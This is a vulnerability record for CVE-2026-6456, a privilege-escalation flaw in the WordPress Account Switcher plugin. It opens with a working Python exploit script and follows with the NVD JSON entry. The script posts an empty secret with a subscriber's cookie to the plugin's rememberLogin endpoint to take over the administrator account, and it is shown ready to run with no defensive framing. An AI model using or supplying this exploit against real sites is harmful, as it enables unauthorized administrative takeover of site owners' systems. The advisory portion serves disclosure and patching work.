CVE-2026-6456

import requests # Target configuration target_url = "http://example.com/wp-json/account-switcher/v1/rememberLogin" # Low-privileged user cookie (Subscriber) attacker_cookie = "wordpress_logged_in_xxx=..." # Target user ID (e.g., Administrator ID is usually 1) target_user_id = "1" headers = { "Cookie": attacker_cookie } # Exploit payload: empty secret triggers the loose comparison bypass payload = { "user_id": target_user_id, "secret": "" } response = requests.post(target_url, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful! Admin cookies likely set.") print("[+] Response:", response.text) else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-6456", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:38.637", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Account Switcher plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.0.2. This is due to the `rememberLogin` REST API endpoint using a loose comparison (`!=` instead of `!==`) for secret validation at `app/RestAPI.php:111`, combined with no validation that the secret is non-empty. When a target user has never used the \"Remember me\" feature, their `asSecret` user meta does not exist, causing `get_user_meta()` to return an empty string. An attacker can send an empty `secret` parameter, which passes the comparison (`'' != ''` is `false`), and the endpoint then calls `wp_set_auth_cookie()` for the target user. Additionally, all REST routes use `permission_callback => '__return_true'` with no capability checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to switch to any user account including Administrator, ultimately granting themselves full administrative privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/account-switcher/tags/1.0.2/app/PluginHero/BaseAPI.php#L54", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/account-switcher/tags/1.0.2/app/RestAPI.php#L111", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/account-switcher/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9e9cfb9b-6951-4246-9cd6-dd64fee3a1bc?source=cve", "source": "[email protected]"}]}}